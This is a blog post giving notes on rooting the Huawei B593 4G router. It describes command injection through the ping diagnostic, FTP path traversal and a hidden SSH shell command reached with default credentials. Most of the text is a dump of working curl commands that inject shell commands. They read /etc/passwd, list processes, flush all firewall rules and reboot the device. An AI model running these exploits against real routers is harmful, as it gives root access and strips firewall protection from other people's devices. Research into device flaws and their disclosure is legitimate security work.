Gaining root shell on Huawei B593 4G LTE router

Huawei B593 has "few" security issues. If you want to play around here's some tips.



Update 8/2014: If you have recent firmware some of these have been fixed. See Jari's blog or my new posts for up to date information.

1. Under diagnostics there's "ping" feature that allows execution of commands as root. Web interface has javascript checks but nothing on server side.

2. FTP server feature allows entering ../.. as home directory and thus full read/write access to entire filesystem, not just USB stick that was intended to be shared via FTP.

3. SSH access to "ATP" console has hidden command "shell" that drops you to root shell. Disable iptables via ping exploit and then ssh in to device using "ssh admin@192.168.1.1 -s /bin/sh" with password "admin", type "shell" and that's it.

Rest is just dump of my notes. You should be able to figure out what to do with them.

# Create cookie file for curl, only SessionID_R3 is set via HTTP headers, rest are controlled by javascript

echo -e "192.168.1.1\tFALSE\t/\tFALSE\t0\tFirstMenu\tAdmin_0"      >cookie.txt

echo -e "192.168.1.1\tFALSE\t/\tFALSE\t0\tSecondMenu\tAdmin_0_0"  >>cookie.txt

echo -e "192.168.1.1\tFALSE\t/\tFALSE\t0\tThirdMenu\tAdmin_0_0_0" >>cookie.txt

# Login and save new SessionID_R3 value, password field is your admin password in base64 encoded form

curl -bcookie.txt -ccookie.txt -H"Cookie: SessionID_R3=0; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0; Language=en" -d"Username=admin&Password=YWRtaW4=" -s "http://192.168.1.1/index/login.cgi"

# Initiate ping

curl -bcookie.txt -ccookie.txt -d"foobar" -s "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|127.0.0.1|-s|32|-c|3||-W|4&RequestFile=/html/management/diagnose.asp"

# Fetch results and do little cleanup

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# cpuinfo

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;cat|/proc/cpuinfo&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# process list

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;ps&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# dump /etc/passwd

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;cat|/etc/passwd&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# busybox components compiled in

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;busybox&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# list of files in /bin

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;ls|-al|bin/&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# active iptables rules

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-L&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# active nat rules

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-L|-t|nat&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# active mangle rules

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-L|-t|mangle&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# flush all iptables rules

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-F&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-X&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|nat|-F&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|nat|-X&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|mangle|-F&RequestFile=/html/management/diagnose.asp"

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|mangle|-X&RequestFile=/html/management/diagnose.asp"

# reboot device

curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;reboot&RequestFile=/html/management/diagnose.asp"